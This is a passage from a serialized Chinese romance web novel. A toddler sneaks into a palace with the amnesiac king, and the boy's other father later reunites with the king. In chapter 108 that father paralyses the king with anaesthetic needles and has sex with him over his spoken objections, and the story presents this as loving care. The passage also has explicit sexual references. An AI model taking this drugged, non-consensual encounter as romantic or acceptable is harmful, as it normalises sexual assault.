渊夜昙想了想,说道:“我能悄悄带你进王宫,你真的想见见渊王吗?” 阮豆包的眼睛都亮了,一脸喜悦道:“真的吗?可是……可是你怎么进去?万一你被他们抓到了怎么办啊?” 渊夜昙勾了勾唇角,难得的露出了笑意,抱起阮豆包道:“不会的,人有人道,鼠有鼠道,渊国的王宫还是很好进的。” 说着他转身施展轻功,带着阮豆包小朋友朝着王宫的方向飞奔而去。 而此时的MJ总部,终于睡饱了一觉的阮锦缓缓睁开了眼睛,他懒洋洋伸了个懒腰,嗓音微哑的对不远处的小床喊了一声:“豆沙包,起床了,今天怎么这么能睡?” 说着他起身,掀开了被盖得严严实实的被子,下一秒,一个震天的咆哮自庭院里响起:“豆沙包!你个熊孩子!又给老子浪到哪里去了???” 第106章 听到阮锦的嚎叫后,四儿和九大夫全都以百米冲刺的速度跑了过来,但他俩倒是都没着急,因为这种情况简直太!多!了! 甚至在国外大陆的时候,那孩子都会偶尔的失踪一下。 好在他身上有定位傀儡,可以随时和阮锦手上的傀儡互有感应,只要别遇到危险,随时都能找回来。 自从阮豆包小朋友三岁以后,危险这个词就跟他没什么关系了。 不对,也是有关系的,他身边的人都挺危险的。 可能是遗传了他父亲顶级傀儡师的基因,他两岁起就开始感应和操控各种傀儡,但他年纪太小,没办法测算傀儡术等级,目测至少也有四五级。 觉醒就是四五级,这真的让普通的傀儡师没有活路。 四儿看了一眼被子下面盖着的枕头,轻笑一声道:“我就知道,咱们豆沙包一天不搞点事出来他就不痛快。” 九大夫往阮锦的手环上看去,那是一枚定位傀儡,另外一枚套在阮豆包小朋友的脚上:“别愣着了,咱们赶快去找找吧!” 阮锦也是上了犟,没好气道:“不找,让他浪吧!天天不着家,也不知道什么毛病。十有八九是随了……” 后面的话阮锦没有说下去,随谁是有目共睹的,阿蛮当初不就是离宫遇到了意外,这才被阮锦捡到的么。 四儿和九大夫也没说什么,毕竟豆沙包这孩子丢过没有十次也有九次了,每次都是自己回来,这次估计很快也就回来了。 谁料这次他们却失策了,豆沙包直到深夜还没回来,阮锦这才开始着急。 此时的阮豆包小朋友正在一个小巷子里买夜行衣,这地盘儿,是阿蛮最熟悉的。 接头的小贩看着三岁大的小豆丁问道:“爷,您也没提前说一声,咱们这里没有这么小号的夜行衣啊!” 渊夜昙想了想,说道:“裤子就不要了,上衣撕掉一块,扎到腰上。” 小贩朝渊夜昙竖了个大拇指,说道:“还是爷您有方法!” 说着小贩便将夜行衣的腰部以下撕掉,又将撕下来的那条充当腰带,扎到了豆沙包的身上。 看着身上有模有样的夜行衣,豆沙包一脸的兴奋,左看看,右看看,稀罕的不得了。 渊夜昙问道:“怎么样?怕不怕?” 豆沙包一插腰:“有大哥在,不怕!” 渊夜昙心想有魄力,这孩子虽然小,倒是比他在幽国为质时,相处过的那些各国王子王女们有勇气。 他给小贩结了银子,抱起阮豆包说道:“那你抱紧了,我要开始飞了。” 豆沙包一开始还有些意外,下一秒,他的好大哥便抱着他开始飞檐走壁,在屋顶上高来高去,直接飞上了京城的最高建筑MJ总部大楼,可以俯瞰整个京城夜景。 渊夜昙还在继续施展轻功,对怀里的阮豆包说道:“害怕就闭上眼睛。” 阮豆包的眼睛里却露着兴奋,摇头道:“不怕!好好玩儿!大哥再跑快一点!” 渊夜昙继续施展轻功,来到一处尖顶的建筑群落,正是渊都的王宫。 轻灵的身影掠入小巷子,他把豆沙包放到地上,指着那最高的建筑说道:“那便是渊王所住的天行殿,这里面便是渊国的王宫,王宫的名字叫紫宸宫。” 阮豆包哇了一声,说道:“好壮观啊!果然还是我们渊国的王宫最壮观!” 渊夜昙好奇的问道:“哦?你见过其他国家的王宫吗?” 豆沙包嗯嗯了两声,他出海的时候在其他大陆看到了许多王宫,有的王宫甚至还不如京城的大户人家体面。 渊夜昙只当他是去过幽国或者越国,便没有多想,带着他往里走去。 豆沙包问:“大哥,这里没有守卫吗?我们会不会被抓住?” 渊夜昙应:“不会,这里是绝对不会有守卫的。在这里进宫,不会被任何人发现。” 这是他特意留的漏洞,为的就是方便他自己自由出入,只是外面那些刺客有些蠢,这么多年了一次都没发现过。 当然,这里面他设置了许多傀儡机关,一般傀儡师也是闯不进去的。 渊夜昙带着豆沙包进入了通道尽头,前面没有路了,却见渊夜昙又轻轻按下了几块砖,一条密道便出现在了两人的眼前。 这一路,豆沙包可以说是涨尽了见识,密道里有各种他见所未见的机关傀儡。 只见他大哥轻轻松松的便将傀儡解除,带着他进入了王宫内部。 终于,单纯如豆沙包也看出不对来了,他扬着一张可爱的小脸儿问道:“大哥,你究竟是什么人?为什么可以自由出处紫宸宫哇?” 未等他大哥回答,豆沙包便眼睛一亮道:“啊!我明白了,大哥是这王宫里的侍卫,还是渊王身边的侍卫,对不对呀?” 渊夜昙无奈轻笑:“嗯,你真聪明。” 仿佛是因为自己猜中了大哥的身份,阮豆包开心的拍起了手:“太好了,我大哥竟然真的是侍卫!可是……那你为什么又要装成流浪汉,在大桥上睡觉哇?哦哦我明白了,一定是在执行渊王的特殊任务,对不对?大哥好厉害呀!” 渊夜昙心想,这孩子话可真多,养一个这样的孩子,他双亲不会嫌吵吗? 他轻轻抱起豆沙包,单手轻轻对他嘘了一声道:“我们要进天行殿了,不要说话,否则被渊王听到了……” 说完他在脖子上划拉了一下,吓得阮豆包捏住了自己的嘴。 看着豆沙包这可爱的模样,渊夜昙的唇角忍不住又勾了勾,勾完却又压了下去,他心里有些疑惑,总觉得自己已经许久没有这么放松过了。 可是在他的记忆里,自从母亲去世后,他就再也没有放松过。 记忆里残存的错觉,究竟是来自哪里? 见他发呆,阮豆包捧着他的脸问道:“大哥,你在想些什么呀?” 渊夜昙摇了摇头,应道:“没什么,走,我带你去看渊王。” 说着他抱着阮豆包,飞上了天行殿的屋顶,试探着走了几步后,渊夜昙便掀开了屋顶的几个瓦片。 掀开瓦片后,渊夜昙便示意他往下看,阮豆包凑了过去,只见那洞的正下方,有一个戴着王冠的头顶,一身威武的黑色王袍,让人一看便忍不住的心生畏惧。 阮豆包压低声音问道:“大哥,那便是渊王吗?” 渊夜昙点头:“正是。”正是我给自己雕的傀儡,如果你进去转转,还能看到十几个一模一样的。 自从上次他出门后院儿起火后,他便又给自己雕了上百个傀儡,让那些大臣分不清哪个真的哪个是假的,也分不清自己在宫里还是不在宫里。 主打一个迷惑行为! 阮豆包绕着洞转了好几圈,终于问出了自己的疑惑:“怎么看不见脸呀?” 渊夜昙随口胡诌:“如果你看到他的脸,他就看到你了。私闯皇宫是要被杀头的,你也只能看个后脑勺了。” 虽然豆沙包有些失望,但他觉得大哥说的对,还是小命要紧。 但他还是根据这个背影得到了一定的确认,那就是渊王身高虽然比普通人高上一些,但绝对没有高达那么高! 渊夜昙又问:“看够了吗?还想看看别处吗?” 阮豆包问:“我可以吗?” 渊夜昙嗯了一声:“可以,不如我带你去一个舒服一点的地方?既然你请我吃了好吃的,那我也请你吃一顿吧!” 阮豆包开心道:“好呀!吃渊王吃过的东西吗?是不是很好吃?” 渊夜昙歪了歪头:“一般吧!我觉得……”我好像吃过更好吃的,但食物罢了,不重要。 说完他重新把瓦片装好,抱着阮豆包去了一个较为偏僻的宫殿。 那里是他儿时和母亲所居之处,后面失了火,烧了个干净,是他后来一比一复建的,这里同样也没有守卫,他心情不好的时候,会一个人过来待一会儿。 每天清晨会有小太监放供品进来,除此之外,不会有任何人来打扰夫人的亡灵。 渊夜昙把豆沙包带进了偏殿内,先是朝着母亲的灵位行了个礼,而后便端了所有的供品,十几盘,全部摆到了阮豆包的面前。 MJ总部,眼看着快要到亥时了,豆沙包却还没回来,阮锦终于坐不住了,起身出了院门。 九大夫和四儿轻笑,两人心照不宣,阮锦这个人就是这样,嘴上说着不管他,心里其实是担心的不得了。 但他手上有定位傀儡,可以和他传导豆沙包的情况,知道他现在没有危险,心情看上去还不错,也就没有直接去找他。 这会儿天色确实太晚了,孩子不能这么惯着,这回必须得好好揍一顿,否则下次怕是要彻夜不归! 这样想着,阮锦便顺着定位傀儡符的方向找去,找着找着却发现了事情不太对劲,这怎么是渊国王宫的方向? 定位错了吧? 直到不远处,一大一小两个身影出现在了视野里,而那小豆丁不正是他家豆沙包? 吃饱喝足的小豆丁也看到他了,一看到他便挥舞着小手朝他冲了过来:“爹爹!我在这里,爹爹!” 阮锦看到豆沙包后也是松了口气,将他抱进怀里后第一时间照着他的屁股打了一巴掌,骂道:“你个小王八蛋!跑哪儿浪去了?” 豆沙包的兴致却非常高,他拉着阮锦来到了渊夜昙的面前,指着人高马大的男人说道:“爹爹,这是我的结拜大哥玫瑰烙。大哥,这是我的爹爹元耳。” 阮锦抬头,黑暗里,男人的秾丽的眉眼映入眼帘,曾几何时,几度梦回中,那张让他魂牵梦萦的一张脸,就这样毫无征兆的映入了他的眼帘。 第107章 许是视觉和感观上的冲击力太强,让阮锦半天都没缓过来,倒是渊夜昙,他本着这是新结拜义弟的爹爹的态度上前说道:“你好。” 嗯,最多两个字,不能再多了。 阮锦却还在兀自发懵,却被豆沙包牵住了手,一脸开心的说道:“爹爹,玫瑰烙大哥可是王宫里的侍卫!他带我去看了渊王,渊王长的一点都不吓人。虽然我没看到脸,但是爹爹你说的对,渊王不是三头六臂,也没有像高达那么高。但是要比普通人高一点,就像……哦,就像我大哥这么高!” 阮锦终于回过神来,心想你大哥就是渊王啊,而且你为什么要和渊王结为兄弟? 他可是你的亲生父亲,简直倒反天罡! 对面的渊夜昙似乎也陷入了沉思,他距离阮锦两三米远,可能在注意着男男大防。 只是鼻端萦绕着若隐若现的玫瑰花香味,这玫瑰花香味似是和别的不太一样,让他闻了以后,总有一种心脏被攥住的感觉。 他忍不住上前走了一步,问道:“你身上……是什么味道?我……” 阮锦没有说话,因为他的心脏仍然在不停的狂跳着,几乎要从嗓子眼儿里跳出来了,他怕自己一开口,会暴露自己的轻微躁动的状态。 见阮锦不说话,阮豆包小朋友便替他回答道:“那是玫瑰精油,是我爹爹自己熬制的,市面上可是没有的。市面上的精油味道要淡一些,这是我爹爹用一百斤玫瑰花精练出来的一两精油,很珍贵的。市面上的水油比是三比一,而且有时候会掺一些别的植物油。贵人们用的,也基本不会太纯,只是比例要稍好一点。” 阮锦:…… 他一把捂住豆沙包的嘴巴,心想臭小子你再说下去,你家的商业机密就被你的漏光了,真是个大漏勺! 豆沙包却把他的手扒拉了下来,说道:“爹爹你别担心,我大哥是自己人,就像我五个叔叔伯伯一样,他肯定不会出卖我们的商业机密的。再说了,一斤玫瑰精油那么贵,普通人也用不起呀!爹爹你自己用,都要熬制好久呢。” 渊夜昙就这么静静的看着他们,黑暗中,他虽然看不清阮锦的脸,但他总觉得这人一定是个非常漂亮的哥儿,比那个号称第一哥儿的齐颂声还要好看。 只是,他从来不靠近哥儿,除了阿姐外,也不靠近女子,为什么今日见到豆沙包的爹,他却有些诚惶诚恐? 阮锦终于开口道:“多谢……玫瑰先生送我家豆沙包出来,今日……便不打扰了。” 说着,他便要拉着豆沙包离开。 却又被豆沙包给拽住,他转头看着渊夜昙道:“大哥,我下次怎么找你呀?” 渊夜昙想了想,答道:“这几日我有事,待过几日,我去找你吧!” 豆沙包一脸开心道:“好的!大哥你一定要说话算话呀!我家就在MJ的总部大楼,就渊都最高的那座大楼,你一定要来找我们!” 不是我,而是我们。 渊夜昙淡淡嗯了一声,便打算转身离开,却在转身的时候身体晃荡了一下,脚下差点没站稳。 阮锦眉心微蹙,心想阿蛮身体向来康健,为什么刚刚看着他的状态不太对? 这些年不见,他似乎憔悴了很多,也瘦了很多,他这些年经历了什么? 直到渊夜昙走远了,阮豆包才问道:“爹爹,我们回家吗?” 阮锦想了想,说道:“包啊,你先回去,爹爹有点别的事。看到前面那些打灯笼的没有?上面写着MJ,那些都是出来找你的。你过去,跟他们一起回家。” 阮豆包没有多想,因为以前他爹爹也经常这样,有重要的事办,就让他自己随便找一家MJ呆着,自然会有伙计把他送到他们下榻之处。 不远处,提着灯笼的众人似乎也找到他们了,好巧不巧,来人竟然是九大夫和四儿。 他们一看到阮豆包便跑了过来,阮锦却悄悄的隐藏到了树后的阴影里。 九大夫一见到他便将他抱进了怀里,佯装生气道:“臭小子,不是说好了天黑前一定要回家吗?今日这是怎么回事?知不知道你爹爹急坏了?” 阮豆包嘿嘿一笑道:“今日情况特殊,我结交到了很好的朋友,还和他结拜了!玫瑰大哥是王宫里的侍卫,他还带我去王宫里转了一圈呢?” 四儿一脸怀疑:“真的假的?王宫哪是那么好进的?” 阮豆包拍着小胸脯:“当然是真的呀!我们刚刚从王宫里出来!我大哥还说了,他过些天要来找我玩儿,到时候我再介绍他给你们认识。” 九大夫和四儿抱着阮豆包一边往回走一边应承着:“好好好,但是下次千万不能深夜不归家了,这样爹爹叔叔伯伯们都会很担心你的。如果真有特殊情况,那便随便去一个门店找个伙计,让他去和我们说一声,这样也免得我们到处找你了。” 阮豆包重重的点头,保证道:“知道啦九伯伯、四叔叔,包包下次一定不会再这样了。” 看着一行人远去,阮锦才从树后的阴影里走出来,朝着阿蛮离开的方向追去。 他身上的隐匿符,已经用了三年,装在荷包里,已经绉巴巴的了。 好在顶级傀儡师所绘制的符咒有效期长达十年之久,并没有失效,他便在那符的帮助下,找到了阿蛮的形迹。 阿蛮竟并未回宫,而是在一间破旧的茅草屋里住了下来,这里都是些废弃的民居,应当是需要整改,所有人都搬离了此处。 虽然阮锦并不知道他为什么会住这里,但依阿蛮说出宫便出宫的性格,大概率是又有什么重要的事情要办。 他跟过来也并不想做别的,只是想看看阿蛮过的怎么样,身体是不是健康。 历史上的渊帝早亡,但他是自己走进坟墓里的,不论他选择提前入坟的原因是什么,阮锦都想弄明白他开到底怎么了。 虽然他口口声声说,渊王是渊王,阿蛮是阿蛮,可他不论如何都改变不了这两个人是一个人的事实。 他担心阿蛮,不论他是不是渊国的王。 这三年他走遍了各个崛起的大陆,打通了海上航运的许多通道,却唯独打不通自己已经失去他的事实。 是他不想忘记,他却早就忘了自己。 有时候会恨他,有时候会怨他,最多的时候是想他。 尤其发情期的时候,实在他他想得受不了,会用他留给自己的大阿蛮来解决生理需求。 第一次用的时候还把他给吓到了,大阿蛮……着实邪恶,它竟然会自己动,还会用力的往里钻,简直让阮锦疯了一般的得到了成熟期时的满足。 正是因为有大阿蛮的存在,阮锦这些年才没怎么受到生理期的痛苦。 前几次没拿出来的时候,他熬的十分难受,也终于知道阿蛮这些年是如何忍受的。 若是自己,怕是忍不了多久便要找新欢,没几个哥儿在夫君去世后不改嫁的,阿蛮却能忍受瘾症如此多年。 进入院中的渊夜昙明显踉跄了几步,他推开房门,喘着粗气坐到了一张破旧的草席上。 阮锦悄悄躲在窗外,皱眉看向房间内,只听那人喃喃说了一句:“不是十天前才刚刚发作过吗?为何今日又要发作?难道我……真的时日无多了?” 听到时日无多四个字,阮锦的心脏便漏跳了一拍,他的指甲狠狠的嵌入掌心,心想怎么会这样,阿蛮这么健康的一个人,除了有些阳元上亢外,并没有任何疾病。 这阳元上亢,也不至于影响寿元啊! 房间内的阿蛮却已经开始难受了,他压抑着呼吸,在旁边找到两条麻绳,一条绳在腿上,一条绑在床头上。 那是最结实的八字结,除非用利器割断,否则很难挣脱。 只是凭阿蛮的武功,这麻绳怕是没什么大太的用。 阮锦焦急的守在外面,心想这些年他瘾症发作的时候,会用什么办法纾解? 听说他选了秀,还封了个美人,那个美人就一点都不管他吗? 还有齐颂声,他也太废物了,为什么这么多年,他半点进步都没有? 想这些的时候,阮锦的内心既苦涩又欣尉,苦涩的是,这些年来的瘾症,全是他一个人在忍受,欣慰的是,他从未有过别人。 不论是身体,还是他的心。 阮锦的心脏酸疼着,他坐在窗外,听着屋内阿蛮发出痛苦的闷吭,眼泪忍不住夺眶而出。 他心想,你为什么要忘记我呢? 请原谅我的自私,你身边群狼环伺,那么危险,而我又那么弱,如果你没忘了我,我可以赌你能保护好我。 可是你把我忘了,我没有任何仪仗,如果留在你身边,我怕是活不过三天。 虽然从前看多了穿越类的小说,男主个个金手指粗壮,处处都能化险为夷,可他心里明白,他一个普普通通的大一新生,一个小饭馆老板的儿子,怎么可能在那种环境里活下来? 就在阮锦哭的上气不接下气的时候,门内传来轰然一声巨响,唯一的一盏灯烛熄灭。 借着月光,阮锦看到阿蛮已经将自己的四肢都绑住了,可他的力气巨大无比,绑在铁箱上的右臂用力拉扯拖拽着铁箱,使得铁箱发出了阵阵刺耳的声音。 他知道自己可能要失去理智了,便中怀中摸出了一根三寸余长的钢针,狠狠的刺入了他的胸口。 阮锦控制不住的低呼了一声:“不!” 敏锐如阿蛮,当即听到了他的呼声,冷目朝外看去,问道:“谁?” 第108章 阮锦心下猛然一惊,手上下意识的按住了胸前的木蝴蝶。 那木蝴蝶是当年阿蛮给他雕的定情信物,他们成婚的第二日送予他的。 后来他戴的久了,由于木质不太好,吊扣的地方断开了,当时他哭了很久,觉得自己可能和阿蛮再也没有未来了。 倒是阮子放有心,学着他师父的样子帮他修好了蝴蝶,还把坏了的地方做了一个小机关,里面放了九大夫改良后的麻沸针,让他防身用。 毕竟阿蛮给他做的伞太大,总不好时时带在身上,小蝴蝶就很方便。 也是因为这个小机关,阮锦多次化险为夷。 此时听着破茅屋里的动静,阮锦忽然有了一个想法,他知道自己不应该,也知道自己往前迈一步极有可能覆水难收。 可他怎么能做到,眼睁睁的看着阿蛮这样一针一针的往自己的身上扎,让鲜血流满他的全身呢? 里面传来沉冷的声音:“谁在那里?不怕死的,赶快滚!” 阮锦深吸一口气,他知道阿蛮不会随便伤害任何人,他的野蛮和残爆只对应得的人,于是他并不怕,起身对里面说道:“抱歉,无心打扰。我是这附近的游医,看到你好像不太舒服?不如我帮你治一治?” 渊夜昙努力压抑着自己早已紊乱的呼吸和逐渐涣散的意识,声音更加的森冷起来:“不想死……就快滚!” 阮锦心内苦笑一声,心想你都这样了,还在意别人想不想死,阿蛮你真的……我哭死。 他并未理会渊夜昙的警告,而是缓缓上前两步,推开门迈步进去,说道:“我很厉害的,你的病,别人或许治不了,但我一定能治。不如让我说说,你得的是什么病吧?” 渊夜昙用力的拽了一下绳锁,双十字结实分牢固,可这也是因为他意识尚为清醒,否则这区区几根绳锁,对他来说也不过是一个低阶傀儡诀。 听到阮锦这么说,渊夜昙倒是产生了些许兴趣,他声如寒潭:“你……最好快点说,说完……快点滚!否则,我……不敢保证……你还有命活着!” 在这三年里,也有一名宫人企图爬上他的床,想搏一个前程,可那个时候的他除了会发狂外什么都不会,待他意识清醒的时候,那人已经被他捏断了颈部,身首异处,死状十分凄惨。 阮锦却不疾不徐,他开口道:“不过是区区阳元上亢之症,我只能说,你身边都是些庸医,这么简单的病症都治不了。只一味的压制,只会让你越来越严重。是不是从前只有一两天,如今却要三五天?” 阿蛮的病,他再了解不过,也最会治。 此时阿蛮断断续续的压抑着喘息的说话声,更是让他想到了他们初次见面时的人机状态。 那时的阿蛮说一句话,总是要断成很多句,让阮锦觉得既可爱又好笑。 渊夜昙听阮锦这么说,眉心微微的蹙了蹙,他想借着月光看清来人的脸,奈何光线着实黑暗,他根本看不清。 听声音倒是有些熟悉,可他不记得在哪里听过了。 阮锦又上前走了两步,继续说道:“你不妨让我一试,万一我能缓解你的病症呢?” 阿蛮不解,因为此时他的意识已经开始涣散,却在涣散中,意识到自己的脉搏被握住了。 这些年,阮锦也在九大夫的指点下学过一些断脉之术,他只觉得阿蛮的脉相紊乱且雄壮,似是有无数的力量想要破脉而出。 下一秒,阮锦低声说了一句:“得罪了!” 说着,他把蝴蝶机关中所藏着的麻沸针射出,四枚麻沸针精准的扎入了阿蛮的四肢上,登时他的四肢便失去了所有的力气。 渊夜昙心下大惊,他强压着乱序的呼吸,问道:“你……对我使了什么妖法?” 阮锦低低的对他笑了笑,却是抬手解开了他的裤带,轻声道:“的确是妖法,这么难受,为什么不做?你以为你是什么圣人吗?难受成这样了,就别再说这些废话了,乖乖的享受吧!我会让你……难忘今霄的。” 说着,他轻轻在渊夜渊的唇上印下一吻,继而用力撕扯掉他的衣衫,垂眸向下,含住了他颤抖的手指。 渊夜昙的大脑瞬间气血上涌,他闷吭一声,质问道:“你……要做什么?” 阮锦轻笑:“还能做什么?做啊!” 渊夜昙想抬手推开他,趁着自己还有意识,打晕这个狂徒也好。 可他的四肢不知道中了什么妖法,一点力气都使不上,只能眼睁睁看着他对自己为所欲为。 阮锦的舌轻灵的吸了吸阿蛮的拇指,问道:“感觉怎么样?有没有舒服一点点?” 月光下,渊夜昙从耳根到脖颈已经红透了,他用力闭了闭眼睛,骂了一句:“你……无耻!” 阮锦却笑出了声,说道:“我就是无耻,你能奈我何?公子,有些办法虽然无耻了些,胜在有用。我帮你这一次,可保你本月不会再发作。你不该骂我,你该谢谢我。” 说着,他不再多说任何废话,而是轻轻起身,迎着窗外如钩的皎月,让那一阵阵呼吸中的灼热气浪朝着自己迎面扑来。 渊夜昙摇着头,他不知为何,他的记忆里分明从未有过任何人,可他的身体记忆却仿佛觉醒了一般,想要紧紧的抓住这片刻间朝来袭来的感觉。 阮锦却十分享受,他抬手拔下了自己的翡翠发簪,让瀑布一般的青丝垂着肩头滑落下来。 背对着月光,渊夜昙看不清他的脸,却能清楚的看到他的轮廓。 那轮廓似是在记忆深处深埋已久,又似是午夜梦回时,那个他梦境里一直想叫,却叫不出来名字的剪影。 他目力本是极好的,却在此时,突然看不清也听不清了,甚至还有阵阵睡意袭来。 随着窗外夜风的逐渐吹送,渊夜昙只觉得病一辈发作时从未有过的舒畅,就这样被眼前之人压制了下去。 不知过了多久,也不知多少次,直至他眼皮再也撑不住,渊夜昙终于沉沉睡去。 月色皎皎,如钩如眉,阮锦披散着头发,仿佛月下仙子一样动人心魄。 而月色下的渊夜昙,更是秾丽俊美,让人忍不住心向往之。 阮锦整理着自己漆黑的发丝,看着远方的鱼肚白,又看着阿蛮的睡颜,终于满足的勾起了他的唇角。 他凑上前去,轻轻在阿蛮的唇角一吻,握着他的手道:“我的阿蛮,我终于见到你了。是不是我身上的玫瑰精油,让你进入了瘾症发作期?没关系,我帮你纾解后,你至少一个月内不会再有发作。阿蛮,你且好好睡一觉,我会守着你的。我……真的真的,好想你……” 说着,阮锦又俯身,在渊夜昙的唇角上亲了一口。 更是趁着他熟睡的时候,把自己日思夜念的胸肌腹肌人鱼线摸了个遍。 他心想,如果你不是王多好,哪怕你是奴隶,是楚馆的伶人,是青楼的哥儿,我都会把你留在身边。 谁让你偏偏是渊国的王,我们之间的鸿沟如天堑一般,如果我能像齐颂声一样…… 想到这里,阮锦却突然皱起了眉,他……他们之间从前的鸿沟的确如天堑一般,可如今他手握天下财富,说一句富可敌国也不为过。 阿蛮的确是渊国的王,他身边也确实危机四伏,可如今的自己却早已不是从前的普通小民。 有钱能使鬼推磨,有钱还能使魔推鬼,有钱为什么不能铺平他与阿蛮之间的天堑? 想到这里,阮锦的心脏突然砰砰的跳了起来,他生起了一个念想,一个……想要染指渊国之王的念想! 这时,天色大亮,阿蛮的手指轻微动了一下。 阮锦吓的赶紧起身,匆忙离开了这座茅草屋。 他一路小跑跑回了MJ的总部,从后门悄悄溜了进去,却是第一时间跑去了九大夫的房间。 九大夫已经醒了,正在梳妆,枕席旁还放了一根纯金雕花镂空大唧唧。 阮锦顾不得那位身价奇高的角先生,拉住九大夫便道:“九哥,给……给我开一副药。” 正在梳着发髻的九大夫问道:“嗯?开药?开什么……等等,你昨晚没回来?你刚刚从外面回来?你怎么披头散发的?” 说完他又垂首在阮锦的身上嗅了嗅,说道:“你身上……怎么有男了精元的味道?” 阮锦的脸刷的一下红了,说道:“我……我正要和你说此事,你……给我开一副避子的汤药。我……我和人……” 九大夫一脸震惊,拉过他的手问道:“你……你被人欺负了?……不对,你手上防身之物那么多,怎么可能被人欺负?这么说,是你主动与男子发生了关系?” 阮锦清了清嗓子,也没打算瞒他,只道:“我……我碰到阿蛮了……” 哐当一声,九大夫的桃木雕花梳子掉到了地上,眼中写满了不敢置信。 他遇到了阿蛮,还和他……睡了一觉? 这要素太多,九大夫一时间反应不过来。 而此时的渊夜昙也终于清醒了过来,他坐起身,先是活动了一下胳膊腿,发现恢复了知觉。 再一垂首,却看到自己衣襟大敞,虽然裤子是穿着的,可他胸口上和腹肌上满是斑斑点点的吻痕,那些吻痕青青紫紫,附近甚至还伴着些许抓痕,从上面的红印子可以看得出,对他做出此事的狂徒相当之奔放。 昨夜,仿佛一场梦,他努力的回忆着对方的长相,却半点都想不起来了。 只记得他帮自己缓解了痛苦,让他免受阳元上亢之苦。 渊夜昙左右寻找着,却早已不见了那人的身影,只余手边的一根翡翠雕制而成的竹节造型的发簪。 第109章 看着手边那只竹节造型的发簪,渊夜昙陷入了沉思,脑中却是昨夜那个热情奔放的剪影。 那人身量纤瘦修长,却很有力道,每一下都使自己进入最佳的状态中。 长发十分顺滑,那发丝曾在他腿边滑过,荡过他大腿的感觉,此时想起仍让他酥痒难耐。 渊夜昙又嗅了嗅那发簪上的味道,似是一种草药浸泡过的熏香,可昨夜他鼻端,分明是那股浓重的……仿若玫瑰花的香气。 不,大概是自己记混了,那玫瑰花的香气,应是豆沙包爹爹身上的。 可是……可是…… 渊夜昙握着那竹节发簪,起身整理好了衣衫,转身离开了这破旧的茅草屋。 回到王宫的时候,端阳公主有些意外,她问道:“阿弟不是过几天才回来的吗?怎么今天便回来了?” 渊夜昙抿了抿唇,开口问道:“阿姐,你……你这些年一直在外帮我选合适的美人,可找到……与他最像的?” 端阳公主十分意外,她惊讶道:“阿弟为什么问这个?选了不少,有的点睛像,有的鼻子像。有一个最像了,身形特别像。只是……不知道阿弟怎么样,那位阮郎君过世那么多年了,阿弟你也该放下了。” 渊夜昙的声线有些沙哑,他道:“我……我不记得他了,阿姐,我为什么不记得他了?你说,他为什么会自杀?是不是因为我把他忘了,所以他才会自杀?” 端阳公主不知道该如何回答,尤其对于阮锦这件事,她暗中调查了许多次,桃花县的所有人都说阮锦已已经死了。 而且她有一次去桃花县赏桃花,还看到阮锦的一些朋友去给他上坟,说明他是真的死了。 如果是普通人,知道自己的男人是渊王,恨不得抱紧他的大腿让他带自己回王宫,又怎么会自杀? 没等端阳公主说什么,渊夜昙便道:“哼,我不相信他死了,他一定还活着!” 三年了,这三年他南征北战,吞并了幽国以及北越一部分领土,虽然并不曾对南越采取什么措施,南越那边却也清楚,渊王不会放过他们的。 只剩下最后一搏,渊夜昙便会一举统一整个华夏。 可他最近却一直在犹豫,就连对幽崇简的处刑也一直搁置着。 不是他不能打,而是……若是他把华夏统一了,那他便真就生无可恋了,活着对他来说没什么意义,唯有一死,才能将傀儡大阵同他的灵魂枯骨一同掩埋于血尸山,永不再见天日。 之所以一直犹豫,是因为他总觉得自己忘了一件最重要的事情。 可这件事情是什么呢? 端阳公主向来不懂自己的阿弟在想些什么,只道:“刚好,近日有一批秀人入了渊都,阿弟要不要见见?至少,见见那名身形极像他的。” 本以为自家阿弟会再次拒绝,谁料渊夜昙却淡淡嗯了一声:“也好。” 端阳公主再次意外,心想自家阿弟今日有些奇怪啊,但不论如何,他肯见秀人,这就是好事。 MJ总部,阮锦捏着鼻子在喝一碗避子汤药,一旁九大夫啧了一声道:“你身上的味道太冲了,喝完药赶紧去洗个澡,刺激的我发情期都变严重了。” 阮锦嘿嘿笑了两声,说道:“哎呀,不好意思我九哥,主要是我家阿蛮多年不见还是这么厉害。” 昨天晚上对他身寸了许多次,蹭的衣服上都是,味道也就难以遮掩了些。 男性精元对于哥儿来说是诱异性的东西,每个男子对于哥儿来说,精元的味道都有所不同,有些类似信息素。 阮锦觉得,阿蛮的精元透着一股侧柏的木调香,并不刺鼻,反倒是怪好闻的。 九大夫无语了,说道:“既然你这么喜欢他,为什么不告诉他?如今你早已不是原来的小商贩。你坐拥富可敌国的财富,而他打仗打的国库亏空,只要你肯,那岂不是轻轻松松的拿捏他?” 阮锦若有所思:“你真的觉得,我可以拿捏他吗?” 九大夫却陷入了沉默,这个时代,并非阮锦那个时代的大同时期。 那是一个乌托邦,哪怕是平民,也不用担心被迫害。 在这个半奴隶制的诸侯割据时期,仕农工商,等级森严,他只是排在最末位的商人。 商人最为卑贱,甚至还不如娼妓。 阮锦却并不难过,他轻笑,说道:“九哥别担心,若是我与阿蛮有缘,我们自会再有相聚之时。我相信,我们不可能就此分开了。” 九大夫轻轻嗤笑一声:“既然相信,那当年为什么哭成那样?你和他刚分开的那一年,半夜可是经常哭醒的,别以为我不知道。” 那时候四儿和九大夫轮流陪夜,生怕他想不开。 阮锦也叹息了一声,说道:“问世间情为何物,直教人生死相许。九哥你没喜欢过别人,你不懂这种感受。” 这时,四儿探出头来,说道:“少爷,可以洗澡了。” 阮锦放下药碗,转身去了屏风后面,泡进不浴缸里。 这时,豆沙包也从外面跑了进来,他跑的一脑门子汗,一进屋便吸了吸鼻子,问道:“什么味道?谁生病了呀?该不会是爹爹吧?爹爹,是你喝药了吗?” 阮锦:…… 还好九大夫帮他解释了一下:“没有,是……九伯伯,九伯伯身体不太舒服,喝了点补药。” 豆沙包有些担忧的问道:“九伯伯,你怎么啦?” 九大夫摸了摸他的发顶道:“没事没事,就是这两天没睡好,九伯伯调理一下。” 豆沙包歪着头问:“为什么会睡不着?包包躺到那里,叭唧一声就睡着了。” 屋内的三人都被他给逗笑了,心想这臭小子是会形容的,不过小孩子没什么心事,肯定叭唧一声就能睡着。 阮锦洗完了澡,换了一套十分潇洒俊逸的锦缎常服,羊脂白玉带,下悬一枚金镶翡翠的玉佩,正是他MJ大掌柜的信物。 四儿道:“少爷,今日可要叫MJ的大掌柜们过来?渊都这些年的利润最高,您可以趁机施恩,好好奖赏一下他们。” 阮锦淡淡嗯了一声,说道:“也好,通知他们,今晚顶楼会议室。让宴会厅那边准备最高规格的宴会,再请渊都这边最红的舞姬过来跳舞助兴。” 